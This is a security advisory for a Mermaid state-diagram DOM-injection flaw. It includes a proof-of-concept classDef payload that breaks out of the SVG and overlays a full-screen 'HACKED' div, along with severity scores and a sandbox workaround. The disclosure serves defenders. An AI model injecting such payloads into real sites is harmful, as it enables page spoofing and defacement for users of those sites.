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GHSA-ghcm-xqfw-q4vr

MediumCVSS 5.3 / 10

Published May 11, 2026·Last modified May 11, 2026

Affected Components(0)

No affected components available

Description

Impact

Under the default configuration, Mermaid state diagram's classDef allow DOM injection that escapes the SVG, although <script> tags are removed, preventing XSS.

Proof-of-concept

stateDiagram-v2
  classDef xss fill:red</style></svg><style>*{x:x;y:y;overflow:visible!important;contain:none!important;transform:none!important;filter:none!important;clip-path:none!important}</style><div style="x:x;y:y;color:red;font:5em/1 monospace;display:grid;place-items:center;z-index:2147483647;width:100vw;height:100vh;position:fixed;top:0;left:0;background:black">HACKED</div><svg><style>a:b
  [*] --> A:::xss

Patches

Workarounds

If you can not update to a patched version, setting "securityLevel": "sandbox" will prevent this, by rendering the mermaid diagram in a sandboxed <iframe>.

Credits

Thanks to @zsxsoft from @KeenSecurityLab for reporting this vulnerability.

Risk Scores

Base Score

5.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.

Threat Intelligence

1.3

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS

0.40%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit

Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Medium severity

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